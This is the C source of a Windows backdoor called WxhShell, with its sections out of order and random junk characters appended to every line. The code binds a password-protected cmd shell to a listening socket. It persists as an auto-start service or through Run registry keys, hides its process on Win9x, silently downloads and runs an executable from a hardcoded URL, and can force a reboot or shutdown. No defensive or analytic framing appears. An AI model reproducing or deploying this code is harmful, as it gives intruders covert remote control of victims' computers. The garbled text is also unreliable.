    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); LBTf}T\  
    if(Boot(SHUTDOWN)) iNcB6,++  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [S4<bh!  
    else { XLB7 E  
    closesocket(wsh); )Zox;}WK+  
    ExitThread(0); H?PaN)_6-+  
    } d-X<+&VZ  
    break; v81<K*w`P  
    } $%ps:ui~X  
  // 获取shell y\S}U{*Z'  
  case 's': { YH@^6Be9  
    CmdShell(wsh); 3>ytpXUEGx  
    closesocket(wsh); Dc U$sf*  
    ExitThread(0); fnB[b[  
    break; :M3Fq@w=  
  } *&XOzaVU  
  // 退出 C-&\qAo?<:  
  case 'x': { i!(u4wTFF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Tv!zqx#E  
    CloseIt(wsh); P9BShC5  
    break; RK< uAiU  
    } >HyZ~M  
  // 离开 V3 2F  
  case 'q': { XsEDI?p2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 09/Mg  
    closesocket(wsh); `KB;3L  
    WSACleanup();  tmKHT  
    exit(1); L\a G.\  
    break; J.$N<.  
        } EjrK.|I0  
  } W|4:3 c4  
  } R10R,*6>  
vr"O9L w  
  // 提示信息 0tK(:9S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xcty  
} <m'W{n%Pp  
  } |cs]98FEf  
9!; /+P  
  return; @P@?KZ..v!  
} PKJw%.-  
dSkMA  
// shell模块句柄 }"Clv /3_  
int CmdShell(SOCKET sock) Qu|H_<8g  
{ 1aDx 6Mq  
STARTUPINFO si; 4}`z^P<C  
ZeroMemory(&si,sizeof(si)); Qhy!:\&1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )\Am:?RH;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yvv]iRk<  
PROCESS_INFORMATION ProcessInfo; O |!cPB:  
char cmdline[]="cmd"; k..AP<hH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }20~5!  
  return 0; uVN2}3!)Y  
} kntYj}F(  
W[/Txc0$  
// 自身启动模式 WUrE1%u  
int StartFromService(void) t^ Ge "  
{ !Ah v07SI  
typedef struct )Vd^#p  
{ $t0o*i{  
  DWORD ExitStatus; f\xmv|8  
  DWORD PebBaseAddress; wDR/Vr"f  
  DWORD AffinityMask; ||D PIn]  
  DWORD BasePriority; ,+~8R"  
  ULONG UniqueProcessId; q#=HBSyM  
  ULONG InheritedFromUniqueProcessId; 5/8=Do](  
}   PROCESS_BASIC_INFORMATION; Y \Gx|  
R"W5R-  
PROCNTQSIP NtQueryInformationProcess; |yS  %  
2DU Y4Ti  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; HA$X g j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0RgE~x!hI  
F_G .$a Cc  
  HANDLE             hProcess; $7" Y/9Y  
  PROCESS_BASIC_INFORMATION pbi; bb  M^J  
uP G\1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); bMn)lrsX  
  if(NULL == hInst ) return 0; ~y{_NgMo  
,BUrZA2\U$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S4\a"WYg  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); PriLV4?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4M#i_.`z  
pT{is.RM  
  if (!NtQueryInformationProcess) return 0; }ZK%@b>  
EQN)y27poW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 47N,jVt4  
  if(!hProcess) return 0; Z_[ P7P  
,Qx]_gZ`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `JO>g=,4  
vJxE F&X  
  CloseHandle(hProcess); h4jo<yp\  
?5FlbiT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;plBo%EBV  
if(hProcess==NULL) return 0; Q 9fK)j1$  
6R,Y.srR  
HMODULE hMod; ! ui   
char procName[255]; q>Di|5<y  
unsigned long cbNeeded; GF6o  
XwUa|"X6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rRg,{:;A  
(>vyWd]  
  CloseHandle(hProcess); .u>[m.  
HdN5zl,q  
if(strstr(procName,"services")) return 1; // 以服务启动 m^!:n$  
aX`uF<c9  
  return 0; // 注册表启动 OHi.5 (  
} b3EGtC}^  
}[Z'Sg]s  
// 主模块 +l^tT&s;f  
int StartWxhshell(LPSTR lpCmdLine) 9j|v D  
{ <Xl#}6II  
  SOCKET wsl;  q[ _qZ  
BOOL val=TRUE; KJRAW]?{  
  int port=0; kN.;;HFq#  
  struct sockaddr_in door; }%p:Xv@X!  
I% u 2 ce  
  if(wscfg.ws_autoins) Install(); "Yh;3tI4*  
GQ;0KIN  
port=atoi(lpCmdLine); 8'u9R~})   
h*%FZ}}`q  
if(port<=0) port=wscfg.ws_port;  D3cJIVM  
]R_R`X?  
  WSADATA data; n9xP8<w8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Iz1x|EQ  
[a04( 2g  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `p&[b]b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lhKn&U  
  door.sin_family = AF_INET; /kY9z~l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); db~^Gqv6k  
  door.sin_port = htons(port); 5>I-? Ki  
JcWp14~e  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4d`YZNvZW/  
closesocket(wsl); qFD ZD)K  
return 1; _;B wP  
} 1(-!TJ{  
pASX-rb  
  if(listen(wsl,2) == INVALID_SOCKET) { &cL1 EQ(  
closesocket(wsl); x=t(#R m  
return 1; 3Do0?~n  
} >x{("``D0y  
  Wxhshell(wsl); )GkJ%o#H2  
  WSACleanup(); f^FFn32u  
7pm'b,J<  
return 0; r }lGcG)  
&]DB-t#\  
} ?qNU*d  
d.FU) )lmD  
// 以NT服务方式启动 $AZYY\1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B+K6(^j,,y  
{ Q,[G?vbj  
DWORD   status = 0; "E(i<  
  DWORD   specificError = 0xfffffff; SLKpl LO  
Wd:pqhLh  
  serviceStatus.dwServiceType     = SERVICE_WIN32; umIGI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; bZ\R0[0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s0/O/G?  
  serviceStatus.dwWin32ExitCode     = 0; $D1ha CL  
  serviceStatus.dwServiceSpecificExitCode = 0; 23wztEp{a  
  serviceStatus.dwCheckPoint       = 0; qD{1X25O  
  serviceStatus.dwWaitHint       = 0; 5tYo! f  
(-gomn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _#u\ar)  
  if (hServiceStatusHandle==0) return; f' ?/P~[  
Q#\Nhc  
status = GetLastError(); n9'3~qVZ  
  if (status!=NO_ERROR) t>[W]%op  
{ V`y^m@U!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; VHxBs  
    serviceStatus.dwCheckPoint       = 0; ^.6[vmmq  
    serviceStatus.dwWaitHint       = 0; ( zWBrCX  
    serviceStatus.dwWin32ExitCode     = status; <0})%V?-  
    serviceStatus.dwServiceSpecificExitCode = specificError; `}EnY@*h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); krUtOVI  
    return; Vh^y6U<  
  } ^ Oh  
k7^hc th  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *%Rmdyn  
  serviceStatus.dwCheckPoint       = 0; .xN<<+|_v'  
  serviceStatus.dwWaitHint       = 0; X`.##S KC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F\ B/q  
} =rA?,74  
4!IuTPmr  
// 处理NT服务事件,比如:启动、停止 nGH6D2!F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N&HI)X2&  
{ >v]^nJl  
switch(fdwControl) iH8we,s'  
{ wXIRn?z  
case SERVICE_CONTROL_STOP: B*T n@t W  
  serviceStatus.dwWin32ExitCode = 0; )[ V8YiyU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; F w 0m(7  
  serviceStatus.dwCheckPoint   = 0; 50cVS)hG6d  
  serviceStatus.dwWaitHint     = 0; '^UHY[mX8  
  {  0k (-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fi/iA%,  
  } }bb,Iib  
  return; NoiB9 8g  
case SERVICE_CONTROL_PAUSE: EhxpMTS  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }u_D{bz  
  break; `HX:U3/  
case SERVICE_CONTROL_CONTINUE: duaF?\vv  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rfqwxr45h  
  break; Pk;\^DRC  
case SERVICE_CONTROL_INTERROGATE: `D4Wg<,9  
  break; I L*B@E8  
}; (/A.,8Ad  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I0m7;M7 P  
} Gyq 6?  
?()*"+N(ck  
// 标准应用程序主函数 W'C>Fn}lO?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7hHID>,o9%  
{ 0V:H/qu8>  
|'h (S|  
// 获取操作系统版本 OG5{oH#K  
OsIsNt=GetOsVer(); z@,pT"rb  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1}d F,e  
Va8 }JD  
  // 从命令行安装 UY3)6}g6  
  if(strpbrk(lpCmdLine,"iI")) Install(); ZC?~RXL(  
t<45[~[  
  // 下载执行文件 (Ceruo S  
if(wscfg.ws_downexe) { i!a!qE.1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `NIb? /!f  
  WinExec(wscfg.ws_filenam,SW_HIDE); QTHY{:Rmu  
} t\M6 d6  
H8eEBMGo  
if(!OsIsNt) { L^JU{\C  
// 如果时win9x,隐藏进程并且设置为注册表启动 QLJ\>  
HideProc(); ]64Pk9z=  
StartWxhshell(lpCmdLine); tx09B)0  
} ji/`OS-iq  
else }F>RI jj  
  if(StartFromService()) 2j-l<!s  
  // 以服务方式启动 A%^?z.  
  StartServiceCtrlDispatcher(DispatchTable); ctP+ECH  
else n9Fq^^?  
  // 普通方式启动 evyjHcCx  
  StartWxhshell(lpCmdLine); RN`TUCQL  
:Qa*-)rs  
return 0; \rr"EAk]  
} Va?]:Q  
jwI2T$  
Q`k;E}x_-  
&{Z+p(3Gj  
=========================================== DGHSyB^+1  
c}@E@Y`@w  
I'5[8  
sX"L\v  
ntIR#fB  
/dCsZA  
" ~cm4e>o  
$n<1D -0!r  
#include <stdio.h> -b!?9T?}  
#include <string.h> WO>,=^zPJ  
#include <windows.h> #N][-i  
#include <winsock2.h> #6M |T+ =  
#include <winsvc.h> 5Ew( 0K[  
#include <urlmon.h> 6 wN*d 5  
T6/P54S  
#pragma comment (lib, "Ws2_32.lib") U6-47m0%  
#pragma comment (lib, "urlmon.lib") Mi.#x_  
&b (*  
#define MAX_USER   100 // 最大客户端连接数 ;-3&yQ7N)  
#define BUF_SOCK   200 // sock buffer o(tJc}Mh+(  
#define KEY_BUFF   255 // 输入 buffer Z66Xj-o  
;MQl.?vj  
#define REBOOT     0   // 重启 ]y#'U  
#define SHUTDOWN   1   // 关机 + E{[j  
ozY$}|sjDT  
#define DEF_PORT   5000 // 监听端口 H^'%$F?Ss  
G ]h  
#define REG_LEN     16   // 注册表键长度 Ry +?#P+  
#define SVC_LEN     80   // NT服务名长度 @x1cV_s[  
;L$ -_Z  
// 从dll定义API -7!L]BcZ.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )xVf3l pQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); lW"0fZ_x'E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~C{:G;Iy0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); VP!4Nob  
,#XXwm ^I  
// wxhshell配置信息 f}yRTR GJv  
struct WSCFG { @G;9eh0$  
  int ws_port;         // 监听端口 +s<6eHpm  
  char ws_passstr[REG_LEN]; // 口令 6"_pCkn;c<  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1L`V{\_0s  
  char ws_regname[REG_LEN]; // 注册表键名 ,hf W2}  
  char ws_svcname[REG_LEN]; // 服务名 6D| F1UFU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 f%PLR9Nh5@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2|"D\N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /[?} LrDO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P<>NV4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Gd|kAC g  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 e;v"d!H/  
U`[viH>K  
}; _p"u~j~%-  
U?dad}7  
// default Wxhshell configuration 6Gg`ExcT5  
struct WSCFG wscfg={DEF_PORT, )&E]   
    "xuhuanlingzhe", m$C1Ea-wnT  
    1, $%$zZJ@/  
    "Wxhshell", iuj%.}  
    "Wxhshell", 8d$|JN;)  
            "WxhShell Service", xbi\KT`~  
    "Wrsky Windows CmdShell Service", E-1u_7  
    "Please Input Your Password: ", Z;N3mD+\ye  
  1, .RmFYV0,  
  "http://www.wrsky.com/wxhshell.exe", sf$hsPC^  
  "Wxhshell.exe" Y;R,ph.a  
    }; 5`3 x(=b  
9Tr ceL;  
// 消息定义模块 Ytc[ kp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <',k%:t  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <b'*GBw$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6&]Z'nW0k  
char *msg_ws_ext="\n\rExit."; VsTgK  
char *msg_ws_end="\n\rQuit."; )o:sDj`b]  
char *msg_ws_boot="\n\rReboot..."; 8N)Lck2PR  
char *msg_ws_poff="\n\rShutdown..."; Cgln@Rz  
char *msg_ws_down="\n\rSave to "; G(?1 Urxi  
`StuUa  
char *msg_ws_err="\n\rErr!"; bp/l~h.7W  
char *msg_ws_ok="\n\rOK!"; #do%u"q  
xKUWj<+/  
char ExeFile[MAX_PATH]; |11vm#  
int nUser = 0; ^>%.l'1/(  
HANDLE handles[MAX_USER]; I~6(>Z{  
int OsIsNt; !\|  
9{3_2CIL  
SERVICE_STATUS       serviceStatus; WI&A+1CK-5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (gY W iz  
PZru:.Mh  
// 函数声明 7Cp /{l;d  
int Install(void); u`wD6&y*  
int Uninstall(void); QDj%m%Xd  
int DownloadFile(char *sURL, SOCKET wsh); c|3oa"6T>  
int Boot(int flag); iOIq2&sV  
void HideProc(void); 4<tbZP3/6)  
int GetOsVer(void); rRe^7xGe7  
int Wxhshell(SOCKET wsl); s[a\m,  
void TalkWithClient(void *cs); G0m$bi=z  
int CmdShell(SOCKET sock); 4S*ifl  
int StartFromService(void); <B T18u\  
int StartWxhshell(LPSTR lpCmdLine); Kn3Xn`P?  
R`$Y]@i&B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); CAx$A[f<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W%5))R$  
s)E8}-v  
// 数据结构和表定义 tq,^!RSbZ  
SERVICE_TABLE_ENTRY DispatchTable[] = #/Ob_~-?j  
{ =\u,4  
{wscfg.ws_svcname, NTServiceMain}, |Isn<|_  
{NULL, NULL} oMemF3M  
}; UhDf6A`]  
l?IeZisX  
// 自我安装 94O\M RQ*  
int Install(void) Z,AY<[/C  
{ lO|LvJyx  
  char svExeFile[MAX_PATH]; y+Nw>\|S  
  HKEY key; Q }^Ip7T  
  strcpy(svExeFile,ExeFile); 1p5'.~J+Q  
\: F$7 *Ne  
// 如果是win9x系统,修改注册表设为自启动 fe<7D\Sp@  
if(!OsIsNt) { Y=|20Y\K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2%fzRXhu%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~tTn7[!  
  RegCloseKey(key); LN (\B:wAY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W4av?H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FZ%h7Oe  
  RegCloseKey(key); gnzg(Y]5w  
  return 0; PX?%}~ v  
    } 9;I%Dv  
  } CAviP61T  
} Rs{8vV  
else { LEjq<t1&  
uWClT):  
// 如果是NT以上系统,安装为系统服务 %'g)MK!e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %Iflf]l  
if (schSCManager!=0) "oiN8#Hf  
{ _vb'3~'S  
  SC_HANDLE schService = CreateService ?fP3R':s  
  ( Y|b,pC|,  
  schSCManager, ^ )"Il  
  wscfg.ws_svcname, CG@Fn\J  
  wscfg.ws_svcdisp, 49>b]f,Vc  
  SERVICE_ALL_ACCESS, 4a& 8G  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , eD(5+bm  
  SERVICE_AUTO_START, <z%**gP~G  
  SERVICE_ERROR_NORMAL, W tw,YFT  
  svExeFile, fBZLWfp9  
  NULL, r?Mf3U^G  
  NULL, $Bncdf  
  NULL, 2<OU)rVE4  
  NULL, ,6MJW#~]  
  NULL LKI\(%ba#  
  ); e<{ d{  
  if (schService!=0) {T^D&i# o  
  { Q5dqn"?  
  CloseServiceHandle(schService); JW><&hY$"  
  CloseServiceHandle(schSCManager); U!Zj%H1XQ0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `WCL-OoZc5  
  strcat(svExeFile,wscfg.ws_svcname); .]KC*2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V&ETt.91Ft  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B%u[gNZ  
  RegCloseKey(key); gfN=0Xj4  
  return 0; b'SP,}s5"  
    } IEm~^D#<=  
  } SXl~lYUL  
  CloseServiceHandle(schSCManager); *2~WP'~PQd  
} hR0a5   
} b"#S92R+  
2brY\c F  
return 1; r{d@74  
} C[%&;\3S@  
d>I)_05t  
// 自我卸载 TlyBpG=p  
int Uninstall(void) <G<5)$ S  
{ >oyf i:  
  HKEY key; xjnAK!sD  
2+)h!y]  
if(!OsIsNt) { 5CcX'*P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OMmfTlM%  
  RegDeleteValue(key,wscfg.ws_regname); eJ<P  
  RegCloseKey(key); k0PwAt)65  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k0\a7$}F  
  RegDeleteValue(key,wscfg.ws_regname); c-NUD$  
  RegCloseKey(key); }oG6XI9  
  return 0; jCtk3No  
  } (>u1O V  
} ziO(`"v  
} OOIp)=4  
else { :+QNN<  
[3S17tTc3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); WhH60/`  
if (schSCManager!=0) 9cN@y<_I  
{ O"TVxP:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); gzVZPvTPE  
  if (schService!=0) ,Iz9!i J"  
  { #k>n5cR@0  
  if(DeleteService(schService)!=0) { qA!4\v={  
  CloseServiceHandle(schService); 3"0QW4A  
  CloseServiceHandle(schSCManager); 3HP { a  
  return 0; x~Z7p)D_<  
  } #WG;p(?:  
  CloseServiceHandle(schService); &u[F)|  
  } x%@M*4:&  
  CloseServiceHandle(schSCManager); IN1 n^f$:  
} N`N=}&v ]  
} 7g{JE^u  
|mWSS'7fI  
return 1; k)F!gV#  
} <)O#Y76s  
V?^qW#AG  
// 从指定url下载文件 ]!P6Z?  
int DownloadFile(char *sURL, SOCKET wsh) }>y~P~`S:  
{ BBX/&d8n  
  HRESULT hr; (kK8 OxfF  
char seps[]= "/"; CP"5E?dcK  
char *token; gV':Xe  
char *file; P*?2+.  
char myURL[MAX_PATH]; 5)k/ 4l '  
char myFILE[MAX_PATH]; Lnn^j#n  
0VR,I{<.{  
strcpy(myURL,sURL); Wx;%W"a  
  token=strtok(myURL,seps); 5$Kv%U  
  while(token!=NULL) (1er?4  
  { #vy[v22  
    file=token; "AMwo(Yi  
  token=strtok(NULL,seps); Y@ ;/Sf$Q  
  } ~]W @+\l  
d@Bd*iI<  
GetCurrentDirectory(MAX_PATH,myFILE); i+I.>L/S  
strcat(myFILE, "\\"); sKiy 1Ww  
strcat(myFILE, file); @wAYhnxq  
  send(wsh,myFILE,strlen(myFILE),0); k-s|gC4  
send(wsh,"...",3,0); cqZ lpm$c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7I(QTc)*  
  if(hr==S_OK) <Z]j89wzDZ  
return 0; ep48 r>  
else 9*n?V;E  
return 1; j9Z1=z  
,FRa6;  
} XNvlx4  
K;\fJ2ag  
// 系统电源模块 1Nv qtVC  
int Boot(int flag) <Fl.W}?Q}  
{ B~< bc  
  HANDLE hToken; y?}<SnjP:  
  TOKEN_PRIVILEGES tkp; a{By U%  
+]H!q W:  
  if(OsIsNt) { 0H'G./8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !14v Ovj4{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cZ.p  
    tkp.PrivilegeCount = 1; @v /Ae_q!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0Y~5|OXJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); pwVGe|h%,  
if(flag==REBOOT) { J<cY'?D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .k!2{A  
  return 0; G [yI[7=d  
} kOel !A  
else { YB{'L +Wbw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \Q?#^<O  
  return 0; *'n=LB8R  
} {ueDwnZ  
  } rXGaav9  
  else { ldaT: er9  
if(flag==REBOOT) { cft@s Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) f.vJJa  
  return 0; ~ /K'n  
} FA%BzU5^  
else { CA/Lv{[2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +- hfl/$  
  return 0; -7I %^u  
} J]NMqi q  
} 'J0Ea\,if0  
>dDcm  
return 1; `Z2-<:]6&a  
} ronZa0  
E.x<J.[Y  
// win9x进程隐藏模块 `P;3,@ e  
void HideProc(void) '?mky,:HT  
{ W>u$x=<T  
niPqzi  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B|AIl+y  
  if ( hKernel != NULL ) -BrJ5]T>*  
  { N;cSR\Ng  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9J}^{AA  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E,A9+OKxJ  
    FreeLibrary(hKernel); urD{'FQf  
  } yW}x  
`my\59T  
return; HIlTt  
} 1HRcEzA  
C8 $KVZ  
// 获取操作系统版本 [Z]CBEE  
int GetOsVer(void) ~.S/<:`U  
{ $|19]3T@Z  
  OSVERSIONINFO winfo; 3HndE~_C&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lp1GK/!s  
  GetVersionEx(&winfo); wr6(C:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #<w2xR]:  
  return 1; RE;)#t?K  
  else G|UeR=/  
  return 0; m]VOw)mBF  
} 3e;ux6  
$h1pL>^J  
// 客户端句柄模块 )},/=#C0  
int Wxhshell(SOCKET wsl) |@MGGAk  
{ Y^5)u/Y=U  
  SOCKET wsh; TI^X gl~  
  struct sockaddr_in client; 3pkx3tp{  
  DWORD myID; 2$joM`j$  
ZP4y35&%y  
  while(nUser<MAX_USER) rWuqlx#  
{ jXyK[q&O&  
  int nSize=sizeof(client); kl5Y{![/&f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); RXhT{Ho(>  
  if(wsh==INVALID_SOCKET) return 1; d]^\qeG^p  
B}d)e_uLj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XiyL563gh  
if(handles[nUser]==0) +Jq~39  
  closesocket(wsh); zj;Ktgc E  
else ,Mu"r!MK  
  nUser++; ]ex2c{ G  
  } tj" EUqKQ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); arn7<w0  
04!akPP<  
  return 0; +tv"j;z  
} SiT5QJe  
J~5+=V7OV  
// 关闭 socket | +aD%'|  
void CloseIt(SOCKET wsh) w `>g^_xsg  
{ S\A9r!2  
closesocket(wsh); JjBlje  
nUser--; =K6{AmG$  
ExitThread(0); ,@@FAL  
} D^H4]7wG@  
SrvC34<7  
// 客户端请求句柄 X0]5I0YP  
void TalkWithClient(void *cs) v ,)vW5jGI  
{ k{+ Gv}Y  
&jF[f4:7  
  SOCKET wsh=(SOCKET)cs; RV6|sN[x>  
  char pwd[SVC_LEN]; q>dERN&  
  char cmd[KEY_BUFF]; !u%XvxJwDb  
char chr[1]; h_xzqElZu  
int i,j; S(5&%}QFQ  
f:/"OCig  
  while (nUser < MAX_USER) {  @@+BPLl  
)9V8&,  
if(wscfg.ws_passstr) { C,dRdEB>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @t,Y< )U  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <Lfo5:.  
  //ZeroMemory(pwd,KEY_BUFF);  LhtA]z,m  
      i=0; G\H|\i  
  while(i<SVC_LEN) { K]Z];C#)  
MVe4[<  
  // 设置超时 XbW 1`PH  
  fd_set FdRead; -F';1D!l%  
  struct timeval TimeOut; oJor ]QYK  
  FD_ZERO(&FdRead); hkvymHaG  
  FD_SET(wsh,&FdRead); |6zx YuX  
  TimeOut.tv_sec=8; Hu7WU;w  
  TimeOut.tv_usec=0; "v5jYz5M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9rM6kLD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7! #34ue  
[!>DQE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;cW9NS3:  
  pwd=chr[0]; q-d#bKIf  
  if(chr[0]==0xd || chr[0]==0xa) { {s~t>Rp+  
  pwd=0; E9PD1ADR  
  break; +dF/$+t  
  } G297)MFF  
  i++; eRvnN>L  
    } };nOG;  
\PgMMc4'  
  // 如果是非法用户,关闭 socket t,R4q*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2vX!j!_  
} 5$"I Uq*  
OW1\@CC-69  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); OmC F8:\/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +p_>fO  
mpDQhD[n  
while(1) { aA&}=lm  
=F90SyzTy  
  ZeroMemory(cmd,KEY_BUFF); 1A;f[Rze  
cR/z;*wr7  
      // 自动支持客户端 telnet标准   OE_A$8L  
  j=0; ];au! _o  
  while(j<KEY_BUFF) { ?<eH!MHF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); * odwg$  
  cmd[j]=chr[0]; kU[#. y=%p  
  if(chr[0]==0xa || chr[0]==0xd) { ? EXYLG  
  cmd[j]=0; fs%l j_t  
  break; )w&k&TY4H  
  } R{SN.%{;  
  j++; K._* ~-A  
    } gqQ"'SRw  
QAKA3{-(  
  // 下载文件 f|-%.,  
  if(strstr(cmd,"http://")) { uUI@!)@2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); PvqG5-L~W  
  if(DownloadFile(cmd,wsh)) " )/febBS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y8%*S%yO  
  else vHxLn/  
